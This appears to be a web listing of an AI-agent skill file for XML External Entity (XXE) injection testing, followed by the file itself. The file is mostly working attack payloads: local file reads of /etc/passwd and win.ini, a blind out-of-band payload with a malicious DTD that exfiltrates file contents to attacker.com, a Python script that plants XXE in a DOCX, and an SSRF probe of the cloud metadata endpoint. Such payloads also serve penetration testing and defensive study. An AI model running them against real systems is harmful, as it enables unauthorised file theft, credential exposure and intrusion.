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sunilgentyalasunilgentyala/OmniRed/skills/web/xxe/SKILL.md

xxe

Skill5 starsChanged 5 months agoApache-2.0View on GitHub

XML External Entity injection expert methodology. Covers classic XXE, blind OOB XXE, XXE via file upload, XXE to SSRF, and XXE in PDF/DOCX parsers.

8 other projects use a version of this.

Adopted by

Most recently taken up by

Used with

Projects with it also use open-redirect, deserialization and 3 more.

Other files people use alongside this one.

Files found in the same public projects as a version of this one, more often than they turn up anywhere else. Each project counts once, large collections count for less, and this file's own repository is left out.
  • yaklangSkill

    open-redirect

    Open redirect playbook. Use when URL parameters, form actions, or JavaScript sinks control navigation targets and may redirect users to attacker-controlled destinations.

    Also in 4 projects that use this

  • langbyyiSkill

    deserialization

    Insecure deserialization playbook. Use when Java, PHP, or Python applications deserialize untrusted data via ObjectInputStream, unserialize, pickle, or similar mechanisms that may lead to RCE, file access, or privilege escalation.

    Also in 3 projects that use this

  • langbyyiSkill

    path-traversal

    Path traversal and LFI playbook. Use when file paths, download endpoints, include operations, archive extraction, or wrapper behavior may expose filesystem control.

    Also in 3 projects that use this

  • yaklangSkill

    prototype-pollution

    Prototype pollution testing for JavaScript stacks. Use when user input is merged into objects (query parsers, JSON bodies, deep assign), when configuring libraries via untrusted keys, or when hunting RCE gadgets via polluted Object.prototype in Node or the browser.

    Also in 3 projects that use this

  • iAskShahramSkill

    file-upload

    Uploads a local file to Cloudflare R2 bucket `public` with wrangler and returns the public URL on assets.shahram.dev. Use when the user wants a public link, public URL, or to host/upload a local image or file to R2.

    Also in 3 projects that use this

The file

We split this skill into the rules it gives an agent

2 rules. 0 are common, 2 are distinctive, and 0 are very specific to this project.

  • 0

    Common

    Most of the 7 edited versions we read keep these.

  • 2

    Distinctive

    This author's own choices. Worth a look.

  • 0

    Very specific

    Tied to their project's names, files or tools. Probably skip.

  • Common
  • Distinctive
  • Very specific
  1. Distinctive:

    If the collaborator receives a DNS/HTTP callback: XXE confirmed.

    line 20
  2. Distinctive:

    Test XML-based file formats: DOCX, XLSX, PPTX, SVG, ODT, RSS.

    line 53

“Common” is measured: kept by at least 6 in 10 of the 7 edited versions of this file we could read. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.

Keep what fits and drop the rest. Your version, ready for your agents.
Files
SKILL.md

XML External Entity (XXE) Injection

Detection

Inject a custom DOCTYPE with an external entity reference:

<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://burpcollaborator.net">]>
<root>&xxe;</root>

If the collaborator receives a DNS/HTTP callback: XXE confirmed.

Classic XXE (Local File Read)

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
<!-- Windows -->
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">

Blind XXE (OOB via DTD)

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/malicious.dtd"> %xxe;]>
<foo>bar</foo>

malicious.dtd (hosted on attacker.com):

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfil;

XXE via File Upload

Test XML-based file formats: DOCX, XLSX, PPTX, SVG, ODT, RSS.

# DOCX = zip containing XML files — inject XXE into word/document.xml
import zipfile, shutil, os

shutil.copy('normal.docx', 'xxe.docx')
with zipfile.ZipFile('xxe.docx', 'a') as z:
    z.writestr('word/document.xml',
        '<?xml version="1.0"?><!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><x>&xxe;</x>')

XXE to SSRF

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>

Tools

OWASP Mapping

  • A05:2021 — Security Misconfiguration (XML parser hardening)

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